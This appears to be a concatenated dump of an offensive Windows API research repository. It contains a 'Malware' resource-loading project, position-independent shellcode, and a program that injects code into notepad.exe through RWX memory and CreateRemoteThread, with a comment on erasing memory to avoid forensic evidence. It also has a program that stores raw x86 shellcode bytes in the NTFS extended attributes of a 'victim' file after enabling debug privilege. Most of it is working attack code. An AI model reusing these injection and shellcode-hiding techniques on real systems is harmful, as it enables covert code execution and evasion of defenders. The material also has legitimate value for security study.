to use MAKEINTRESOURCE" macro with the given name of the resource. 21 | * In my case: 22 | ```Cpp 23 | hDllResource = FindResource( 24 | nullptr, 25 | MAKEINTRESOURCE(IDR_UPDATER1), // Convert the resource ID to String 26 | _T(RESOURCE_NAME) // Name of the resource = "UPDATER" 27 | ); 28 | ``` 29 | --- 30 | 31 | # Notes about paths in windows: 32 | * Windows has two types of paths: DOS form and NT form. 33 | * When preforms API calls we should check whether the function accept NT/DOS form and call with the correct form, otherwise the class will fail. 34 | * [Pavel Yosifovich](https://github.com/zodiacon) demonstrate how to convert between the to forms using the combination of: GetLogicalDrives QueryDosDevice functions. 35 | * Based on [Pavel Yosifovich](https://github.com/zodiacon) I've wrote my own implementation. 36 | 37 | ## Useful links: 38 | * WinAPI for loading resources - https://docs.microsoft.com/en-us/windows/win32/menurc/finding-and-loading-resources 39 | * 40 | 41 | -------------------------------------------------------------------------------- /Malware/UPDATER: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/Malware/UPDATER -------------------------------------------------------------------------------- /Malware/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by Malware.rc 4 | // 5 | #define IDR_UPDATER1 103 6 | 7 | // Next default values for new objects 8 | // 9 | #ifdef APSTUDIO_INVOKED 10 | #ifndef APSTUDIO_READONLY_SYMBOLS 11 | #define _APS_NEXT_RESOURCE_VALUE 104 12 | #define _APS_NEXT_COMMAND_VALUE 40001 13 | #define _APS_NEXT_CONTROL_VALUE 1001 14 | #define _APS_NEXT_SYMED_VALUE 101 15 | #endif 16 | #endif 17 | -------------------------------------------------------------------------------- /PIC/PIC.c: -------------------------------------------------------------------------------- 1 | #include "PIC.h" 2 | 3 | #pragma runtime_checks( "", off ) 4 | #pragma optimize("", off) 5 | 6 | #pragma code_seg(".text$AAAA") 7 | DWORD 8 | __declspec(safebuffers) 9 | __declspec(noinline) 10 | WINAPI startPic(struct PicParams* params) 11 | { 12 | //__debugbreak(); 13 | pLoadLibraryA loadLibraryA = (pLoadLibraryA)(params->loadLibraryA); 14 | pGetProcAddress getProcAddress = (pGetProcAddress)params->getProcAddress; 15 | 16 | CHAR user32Dll[] = { 'u','s','e','r','3','2','.','d','l','l','\0' }; 17 | CHAR messageBoxAName[] = { 'M','e','s','s','a','g','e','B','o','x','A','\0' }; 18 | CHAR message[] = { 'H','e','l','l','o',' ','F','r','o','m',' ','P','I','C',' ','!','\0' }; 19 | 20 | HMODULE user32Module = loadLibraryA(user32Dll); 21 | pMessageBoxA messageBoxA = (pMessageBoxA)getProcAddress(user32Module, messageBoxAName); 22 | 23 | messageBoxA(NULL, message, message, MB_OK); 24 | 25 | return 0; 26 | } 27 | 28 | #pragma code_seg(".text$AAAB") 29 | void endPic() 30 | { 31 | // Left blank internationally 32 | } 33 | 34 | #pragma optimize("", on) 35 | #pragma runtime_checks( "", restore) -------------------------------------------------------------------------------- /PIC/PIC.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | struct PicParams 6 | { 7 | LPVOID loadLibraryA; 8 | LPVOID getProcAddress; 9 | SIZE_T picSize; 10 | }; 11 | 12 | struct CleanupRop 13 | { 14 | DWORD_PTR ExitThreadAddress; // lpAddress 15 | LPVOID lpAddress; // VirtualFree address of region to be freed 16 | SIZE_T dwSize; // VirtualFree size of the region to free 17 | DWORD dwFreeType; // VirtualFree type of allocation to free (MEM_RELEASE) 18 | DWORD dwExitCode; // ExitThread thread exit code value 19 | }; 20 | 21 | typedef HMODULE(WINAPI* pLoadLibraryA)(_In_ LPCSTR lpLibFileName); 22 | typedef FARPROC(WINAPI* pGetProcAddress)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName); 23 | typedef int(WINAPI* pMessageBoxA)(_In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType); 24 | typedef BOOL(WINAPI* pVirtualFree)(_Pre_notnull_ _When_(dwFreeType == MEM_DECOMMIT, _Post_invalid_) 25 | _When_(dwFreeType == MEM_RELEASE, _Post_ptr_invalid_) LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD dwFreeType); 26 | typedef VOID(WINAPI* pExitThread)(_In_ DWORD dwExitCode); 27 | typedef BOOL(WINAPI* pSetThreadContext)(_In_ HANDLE hThread, _In_ CONST CONTEXT* lpContext); 28 | typedef HANDLE(WINAPI* pGetCurrentThread)(VOID); 29 | 30 | #ifdef __cplusplus 31 | extern "C" { 32 | #endif 33 | 34 | DWORD WINAPI startPic(struct PicParams* params); 35 | 36 | void endPic(); 37 | 38 | #ifdef __cplusplus 39 | } 40 | #endif -------------------------------------------------------------------------------- /PIC/PIC.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 16.0 29 | Win32Proj 30 | {9e1dc803-5250-4e78-8df1-2c7652388577} 31 | PIC 32 | 10.0 33 | 34 | 35 | 36 | StaticLibrary 37 | true 38 | v142 39 | Unicode 40 | 41 | 42 | StaticLibrary 43 | false 44 | v142 45 | Unicode 46 | 47 | 48 | StaticLibrary 49 | true 50 | v142 51 | Unicode 52 | 53 | 54 | StaticLibrary 55 | false 56 | v142 57 | Unicode 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | true 79 | 80 | 81 | false 82 | 83 | 84 | true 85 | 86 | 87 | false 88 | 89 | 90 | 91 | Level3 92 | true 93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 94 | true 95 | stdcpp17 96 | stdc17 97 | true 98 | false 99 | 100 | 101 | Console 102 | true 103 | false 104 | 105 | 106 | 107 | 108 | Level3 109 | true 110 | true 111 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 112 | true 113 | stdcpp17 114 | stdc17 115 | 116 | 117 | Console 118 | false 119 | true 120 | 121 | 122 | 123 | 124 | Level3 125 | true 126 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 127 | true 128 | stdcpp17 129 | stdc17 130 | true 131 | false 132 | 133 | 134 | Console 135 | true 136 | false 137 | 138 | 139 | 140 | 141 | Level3 142 | true 143 | true 144 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 145 | true 146 | stdcpp17 147 | stdc17 148 | 149 | 150 | Console 151 | false 152 | true 153 | 154 | 155 | 156 | 157 | 158 | -------------------------------------------------------------------------------- /PIC/PIC.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | 23 | 24 | Source Files 25 | 26 | 27 | -------------------------------------------------------------------------------- /PIC/README.md: -------------------------------------------------------------------------------- 1 | # PIC Injection 2 | Related projects under this solution: 3 | * PIC 4 | * PicInjection 5 | 6 | --- 7 | 8 | ## Background 9 | PIC (Position Independent Code) is very useful for writing shellcode that going to run in target processes without the need of knowing the target relative API function addresses. 10 | 11 | --- 12 | 13 | ## Writing PIC 14 | You can write your PIC in pure assembly, compile it and use the compiled bytes, save the them in char bytes and inject them into the target process. Check my Shellcode project for more info. 15 | 16 | The alternative way is creating functions which act as PIC that would represent the shellcode to be injected into the target process. The project represent this method, which in my opinion is more stable and maintainable.
Their are more cautions one should take when using this method, check the first link below for more info. 17 | 18 | --- 19 | 20 | ## Compiler configurations 21 | In order to keep the PIC as "pure" as possible from compiler optimizations, some restriction need to be made, check the first link below for more information: 22 | 23 | Disable runtime checks: 24 | ``` 25 | #pragma runtime_checks( "", off ) 26 | // ... PIC goes here 27 | #pragma runtime_checks( "", restore) 28 | ``` 29 | 30 | Disable optimizations: 31 | ``` 32 | #pragma optimize("", off) 33 | // ... PIC goes here 34 | #pragma optimize("", on) 35 | ``` 36 | 37 | Prevent security cookie: 38 | ``` 39 | DWORD __declspec(safebuffers) picFunction(...) {...} 40 | ``` 41 | 42 | Prevent inline optimizations: 43 | ``` 44 | DWORD __declspec(noinline) picFunction(...) {...} 45 | ``` 46 | 47 | Disable `SupportJustMyCode` if you need to debug your PIC in target process. 48 | 49 | --- 50 | 51 | ## Useful Information 52 | * Very detailed example of PID injection - https://www.codeguru.com/cpp/w-p/system/processesmodules/article.php/c5767/Three-Ways-To-Inject-Your-Code-Into-Another-Process.htm#section_3 53 | * Writing shellcode in C++ - http://www.rohitab.com/discuss/topic/40820-writing-shellcode-in-c/?p=10095205 54 | * Simple example of the injected function signature - http://www.rohitab.com/discuss/topic/38357-code-injection-using-setthreadcontext/?p=10084410 55 | 56 | 57 | ## Self cleanup Examples 58 | * 32 bit ROP for cleanup PIC after execution - https://www.unknowncheats.me/forum/1171005-post3.html?s=1cd370b099e1ea56177fcd39f9c69679 59 | * 32 bit ROP for cleanup PIC after execution - https://www.unknowncheats.me/forum/2267820-post1.html -------------------------------------------------------------------------------- /PicInjection/Main.cpp: -------------------------------------------------------------------------------- 1 | #include "../PIC/PIC.h" 2 | #include "../Common/ProcessUtils.h" 3 | #include "../Common/AutoHandle.h" 4 | #include "../Common/Win32ErrorCodeException.h" 5 | #include "../Common/VirtualAllocExGuard.h" 6 | #include "../Common/StringUtils.h" 7 | #include "../Common/DebugPrint.h" 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | 17 | 18 | void writeToTargetProcess(HANDLE targetProcess, LPVOID remoteAddress, LPVOID data, SIZE_T dataSize); 19 | PicParams getPicParameters(SIZE_T picSize); 20 | 21 | const std::wstring targetProcessName(L"notepad.exe"); 22 | 23 | int wmain(int argc, PWCHAR argv[]) 24 | { 25 | try 26 | { 27 | const std::uint32_t targetPid = ProcessUtils::getProcessPidByProcessName(targetProcessName); 28 | DEBUG_PRINT("[+] Found target process PID=" + StringUtils::hexValue(targetPid)); 29 | 30 | 31 | const AutoHandle targetProcess(OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid)); 32 | if (nullptr == targetProcess.get()) 33 | { 34 | throw Win32ErrorCodeException("Could not open handle to target process"); 35 | } 36 | 37 | DEBUG_PRINT("[+] Open handle to target process"); 38 | 39 | 40 | VirtualAllocExGuard remoteParamsMemoryGuard(targetProcess.get(), sizeof(PicParams), PAGE_EXECUTE_READWRITE); 41 | DEBUG_PRINT("[+] Allocate memory for PIC parameters in target process"); 42 | 43 | 44 | const int picBytesSize = reinterpret_cast(endPic) - reinterpret_cast(startPic); 45 | if (0 >= picBytesSize) 46 | { 47 | throw std::runtime_error("Invalid PIC size"); 48 | } 49 | 50 | 51 | PicParams params = getPicParameters(picBytesSize); 52 | 53 | 54 | writeToTargetProcess(targetProcess.get(), remoteParamsMemoryGuard.get(), ¶ms, sizeof(PicParams)); 55 | DEBUG_PRINT("[+] Write PIC parameters to target process at address: " 56 | + StringUtils::hexValue(reinterpret_cast(remoteParamsMemoryGuard.get()))); 57 | 58 | 59 | VirtualAllocExGuard remotePicMemoryGuard(targetProcess.get(), picBytesSize, PAGE_EXECUTE_READWRITE); 60 | DEBUG_PRINT("[+] Allocate memory for PIC in target process"); 61 | 62 | 63 | writeToTargetProcess(targetProcess.get(), remotePicMemoryGuard.get(), &startPic, picBytesSize); 64 | DEBUG_PRINT("[+] Write PIC to target process at address: " 65 | + StringUtils::hexValue(reinterpret_cast(remotePicMemoryGuard.get()))); 66 | 67 | 68 | DWORD threadId; 69 | const AutoHandle targetThread(CreateRemoteThread(targetProcess.get(), nullptr, 0, 70 | static_cast(remotePicMemoryGuard.get()), remoteParamsMemoryGuard.get(), 0, &threadId)); 71 | if (nullptr == targetThread.get()) 72 | { 73 | throw Win32ErrorCodeException("Could not create remote thread in target process"); 74 | } 75 | 76 | DEBUG_PRINT("[+] Create remote thread in target process TID=" + StringUtils::hexValue(threadId)); 77 | 78 | 79 | WaitForSingleObject(targetThread.get(), INFINITE); 80 | 81 | /* 82 | * VirtualAllocExGuard get called automatically in order to release 83 | * shellcode memory and avoid forensics evidence. 84 | * If you want to keep the remote allocation after the injection add: 85 | remoteParamsMemoryGuard.release(); 86 | remotePicMemoryGuard.release(); 87 | * so we don't want to destroy the memory. 88 | */ 89 | } 90 | catch (std::exception& exception) 91 | { 92 | std::cout << exception.what() << std::endl; 93 | return 1; 94 | } 95 | 96 | return 0; 97 | } 98 | 99 | void writeToTargetProcess(HANDLE targetProcess, LPVOID remoteAddress, LPVOID data, SIZE_T dataSize) 100 | { 101 | SIZE_T bytesWritten; 102 | if (!WriteProcessMemory(targetProcess, remoteAddress, data, dataSize, &bytesWritten)) 103 | { 104 | throw Win32ErrorCodeException("Could not write PIC parameters to target process memory"); 105 | } 106 | } 107 | 108 | PicParams getPicParameters(SIZE_T picSize) 109 | { 110 | PicParams params{ nullptr, nullptr }; 111 | 112 | params.loadLibraryA = LoadLibraryA; 113 | params.getProcAddress = GetProcAddress; 114 | 115 | if (nullptr == params.getProcAddress || nullptr == params.loadLibraryA) 116 | { 117 | throw std::runtime_error("Invalid PIC parameters"); 118 | } 119 | 120 | params.picSize = picSize; 121 | 122 | return params; 123 | } -------------------------------------------------------------------------------- /PicInjection/PicInjection.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {31d1cdda-ee7b-477e-9d4a-507eb79216ec} 25 | PicInjection 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | false 75 | 76 | 77 | false 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | stdcpp17 92 | stdc17 93 | true 94 | false 95 | 96 | 97 | Console 98 | true 99 | true 100 | true 101 | 102 | 103 | 104 | 105 | Level3 106 | true 107 | true 108 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 109 | true 110 | stdcpp17 111 | stdc17 112 | 113 | 114 | Console 115 | true 116 | true 117 | 118 | 119 | 120 | 121 | Level3 122 | true 123 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 124 | true 125 | stdcpp17 126 | stdc17 127 | true 128 | false 129 | 130 | 131 | Console 132 | true 133 | true 134 | 135 | 136 | 137 | 138 | Level3 139 | true 140 | true 141 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 142 | true 143 | stdcpp17 144 | stdc17 145 | 146 | 147 | Console 148 | true 149 | true 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | {528cf324-c076-4ba8-a436-2d23f8acc227} 158 | 159 | 160 | {9e1dc803-5250-4e78-8df1-2c7652388577} 161 | 162 | 163 | 164 | 165 | 166 | -------------------------------------------------------------------------------- /PicInjection/PicInjection.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /PlayWithNTFS/PlayWithNTFS.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {3FB42D61-550F-476C-8AE7-3BA2ADBCB48B} 24 | PlayWithNTFS 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v142 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | true 78 | true 79 | 80 | 81 | Console 82 | 83 | 84 | 85 | 86 | Level3 87 | Disabled 88 | true 89 | true 90 | 91 | 92 | Console 93 | 94 | 95 | 96 | 97 | Level3 98 | MaxSpeed 99 | true 100 | true 101 | true 102 | true 103 | 104 | 105 | Console 106 | true 107 | true 108 | 109 | 110 | 111 | 112 | Level3 113 | MaxSpeed 114 | true 115 | true 116 | true 117 | true 118 | 119 | 120 | Console 121 | true 122 | true 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | -------------------------------------------------------------------------------- /PlayWithNTFS/PlayWithNTFS.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /PlayWithNTFS/Source.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 6 | #define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) 7 | 8 | typedef struct _IO_STATUS_BLOCK 9 | { 10 | union 11 | { 12 | NTSTATUS Status; 13 | PVOID Pointer; 14 | }; 15 | ULONG_PTR Information; 16 | } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; 17 | 18 | /* 19 | * http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/File/NtSetEaFile.html 20 | */ 21 | typedef NTSTATUS(WINAPI* pNtSetEaFile)( 22 | _In_ HANDLE FileHandle, 23 | _Out_ PIO_STATUS_BLOCK IoStatusBlock, 24 | _In_ PVOID Buffer, 25 | _In_ ULONG Length 26 | ); 27 | 28 | /* 29 | * http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/File/NtQueryEaFile.html 30 | */ 31 | typedef NTSTATUS(WINAPI* pNtQueryEaFile)( 32 | _In_ HANDLE FileHandle, 33 | _Out_ PIO_STATUS_BLOCK IoStatusBlock, 34 | _Out_ PVOID Buffer, 35 | _In_ ULONG Length, 36 | _In_ BOOLEAN ReturnSingleEntry, 37 | _In_ PVOID EaList, 38 | _In_ ULONG EaListLength, 39 | _In_opt_ PULONG EaIndex, 40 | _In_ BOOLEAN RestartScan 41 | ); 42 | 43 | /* 44 | * http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/File/FILE_FULL_EA_INFORMATION.html 45 | */ 46 | typedef struct _FILE_FULL_EA_INFORMATION { 47 | ULONG NextEntryOffset; 48 | BYTE Flags; 49 | BYTE EaNameLength; 50 | USHORT EaValueLength; 51 | CHAR EaName[1]; 52 | 53 | } FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION; 54 | 55 | /* Helper function */ 56 | ULONG CalculateEaEntryLength( 57 | _In_ UCHAR EaNameLength, 58 | _In_ USHORT EaValueLength 59 | ); 60 | 61 | /* 62 | * 63 | */ 64 | PFILE_FULL_EA_INFORMATION CreateEaEntry( 65 | _In_ ULONG NextEntryOffset, 66 | _In_ BYTE Flags, 67 | _In_ BYTE EaNameLength, 68 | _In_ USHORT EaValueLength, 69 | _In_ char* EaName, 70 | _In_ char* EaValue, 71 | _Out_ ULONG* EaEntryLength 72 | ); 73 | 74 | int wmain() { 75 | HANDLE hVictimFile; 76 | PVOID eaBuffer; 77 | IO_STATUS_BLOCK ioStatusBlock; 78 | NTSTATUS status; 79 | const TCHAR victimFilePath[] = { 'd','b','.','l','o','g',0 }; 80 | ULONG eaLength = -1; 81 | HANDLE hToken; 82 | TOKEN_PRIVILEGES tokenPriv; 83 | LUID luidDebug; 84 | 85 | char name[] = { '$','h','3','1','1','C','0','D','3',0 }; 86 | char value[] = \ 87 | "\x33\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x03\xd3" 88 | "\x8b\x52\x78\x03\xd3\x8b\x72\x20\x03\xf3\x33\xc9\x41\xad\x03\xc3\x81\x38\x47\x65\x74\x50\x75" 89 | "\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x03" 90 | "\xf3\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x03\xf3\x8b\x14\x8e\x03\xd3\x33\xc9\x53\x52\x51\x68\x61" 91 | "\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd2\x83\xc4\x0c\x59\x50\x51" 92 | "\x66\xb9\x6c\x6c\x51\x68\x44\x4c\x2e\x64\x54\xff\xd0\x83\xc4\x10\x33\xc9\x5a\x5d\x66\xb9\x61" 93 | "\x64\x51\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74\x54\x53\xff\xd2\x83\xc4\x0c\x33\xc9\x51\xff" 94 | "\xd0\x5e\x5b\x5d\xc3"; 95 | 96 | pNtSetEaFile NtSetEaFile = (pNtSetEaFile)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), _T("NtSetEaFile")); 97 | pNtQueryEaFile NtQueryEaFile = (pNtQueryEaFile)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), _T("NtQueryEaFile")); 98 | 99 | // Open handle to the victim file: 100 | hVictimFile = CreateFile( 101 | victimFilePath, 102 | GENERIC_WRITE | GENERIC_READ, 103 | 0, 104 | nullptr, 105 | OPEN_EXISTING, 106 | FILE_ATTRIBUTE_NORMAL, 107 | nullptr 108 | ); 109 | if (hVictimFile == INVALID_HANDLE_VALUE) { 110 | printf("[-] Could not acquire handle to the file.\n"); 111 | return -1; 112 | } 113 | 114 | // Enabling the Debug access privilege 115 | // https://www.codeproject.com/Articles/10438/Navigating-the-PEB 116 | // https://medium.com/palantir/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e 117 | if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken) != FALSE) 118 | { 119 | if (LookupPrivilegeValue(_T(""), SE_DEBUG_NAME, &luidDebug) != FALSE) 120 | { 121 | tokenPriv.PrivilegeCount = 1; 122 | tokenPriv.Privileges[0].Luid = luidDebug; 123 | tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 124 | 125 | AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL); 126 | } 127 | } 128 | 129 | /* 130 | // Make an Extended-Attribute content: 131 | eaBuffer = CreateEaEntry( 132 | 0, 133 | 0, 134 | strlen(name), 135 | strlen(value), 136 | name, 137 | value, 138 | &eaLength 139 | ); 140 | if (eaBuffer == nullptr) { 141 | printf("[+] Could not create EA entry."); 142 | CloseHandle(hVictimFile); 143 | return -1; 144 | } 145 | // Write Extended-Attribute to victim: 146 | ioStatusBlock = { 0 }; 147 | status = NtSetEaFile(hVictimFile, &ioStatusBlock, eaBuffer, eaLength); 148 | if (!NT_SUCCESS(status)) { 149 | printf("[-] Could not create EA, Error:0x%x.\n", status); 150 | CloseHandle(hVictimFile); 151 | return -1; 152 | } 153 | */ 154 | 155 | // Read EA: 156 | // TODO: Setup the length correctly 157 | eaLength = 167 * 2; 158 | eaBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, eaLength); 159 | ioStatusBlock = { 0 }; 160 | status = NtQueryEaFile( 161 | hVictimFile, 162 | &ioStatusBlock, 163 | eaBuffer, 164 | eaLength, 165 | FALSE, 166 | nullptr, 167 | 0, 168 | nullptr, 169 | FALSE 170 | ); 171 | if (!NT_SUCCESS(status)) { 172 | printf("[-] Could not query for EA, Error:0x%x.\n", status); 173 | CloseHandle(hVictimFile); 174 | return -1; 175 | } 176 | 177 | // Read the EA: 178 | PFILE_FULL_EA_INFORMATION currEntry = (PFILE_FULL_EA_INFORMATION)eaBuffer; 179 | ULONG totalOffset = 0; 180 | ULONG eaEntryIndex = 0; 181 | 182 | while (true) { 183 | PVOID tempBuffer = (PVOID)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, currEntry->EaValueLength + 1); 184 | CopyMemory(tempBuffer, (PVOID)&currEntry->EaName[currEntry->EaNameLength + 1], currEntry->EaValueLength); 185 | printf("Index: %d | totalOffset: %d | NextEntryOffset: %d | Flags: %d | NameLength: %d | ValueLength: %d, | Name: %s | Value: %s", 186 | eaEntryIndex, 187 | totalOffset, 188 | currEntry->NextEntryOffset, 189 | currEntry->Flags, 190 | currEntry->EaNameLength, 191 | currEntry->EaValueLength, 192 | &currEntry->EaName[0], 193 | &currEntry->EaName[currEntry->EaNameLength + 1] 194 | ); 195 | 196 | // TODO: Release buffer.. 197 | 198 | // If we reach the end of the EA: 199 | if (currEntry->NextEntryOffset == 0) { 200 | break; 201 | } 202 | 203 | // Move to the next entry: 204 | totalOffset += currEntry->NextEntryOffset; 205 | eaEntryIndex += 1; 206 | currEntry = (PFILE_FULL_EA_INFORMATION)((char*)currEntry + currEntry->NextEntryOffset); 207 | } 208 | 209 | // Release resources: 210 | CloseHandle(hVictimFile); 211 | //HeapFree(GetProcessHeap, HEAP_NO_SERIALIZE, eaBuffer); 212 | 213 | return 0; 214 | } 215 | 216 | 217 | PFILE_FULL_EA_INFORMATION CreateEaEntry( 218 | _In_ ULONG NextEntryOffset, 219 | _In_ BYTE Flags, 220 | _In_ BYTE EaNameLength, 221 | _In_ USHORT EaValueLength, 222 | _In_ char* EaName, 223 | _In_ char* EaValue, 224 | _Out_ ULONG* EaEntryLength 225 | ) { 226 | 227 | FILE_FULL_EA_INFORMATION* eaEntryBuffer = nullptr; 228 | 229 | ULONG eaEntryLength = CalculateEaEntryLength(EaNameLength, EaValueLength); 230 | 231 | // Allocate memory for the entry: 232 | eaEntryBuffer = (PFILE_FULL_EA_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, eaEntryLength); 233 | if (eaEntryBuffer == nullptr) { 234 | return nullptr; 235 | } 236 | 237 | eaEntryBuffer->NextEntryOffset = NextEntryOffset; 238 | eaEntryBuffer->Flags = 0x00; 239 | eaEntryBuffer->EaNameLength = EaNameLength; 240 | eaEntryBuffer->EaValueLength = EaValueLength; 241 | 242 | // Copy the name and value: 243 | CopyMemory(eaEntryBuffer->EaName, EaName, EaNameLength); 244 | CopyMemory((PVOID)(eaEntryBuffer->EaName + eaEntryBuffer->EaNameLength + 1), EaValue, EaValueLength); 245 | 246 | *EaEntryLength = eaEntryLength; 247 | return eaEntryBuffer; 248 | } 249 | 250 | ULONG CalculateEaEntryLength( 251 | _In_ UCHAR EaNameLength, 252 | _In_ USHORT EaValueLength 253 | ) { 254 | ULONG eaEntryLength = sizeof(ULONG) + sizeof(UCHAR) * 2 + sizeof(USHORT) + (EaNameLength + 1) + EaValueLength; 255 | ULONG alignmentBoundary = sizeof(ULONG); 256 | 257 | // Check if the length is aligned to 4bytes: 258 | if ((eaEntryLength % alignmentBoundary) != 0) { 259 | eaEntryLength = eaEntryLength + (alignmentBoundary - (eaEntryLength % alignmentBoundary)); 260 | } 261 | return eaEntryLength; 262 | } 263 | 264 | 265 | -------------------------------------------------------------------------------- /PlayWithNTFS/victim.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/PlayWithNTFS/victim.txt -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 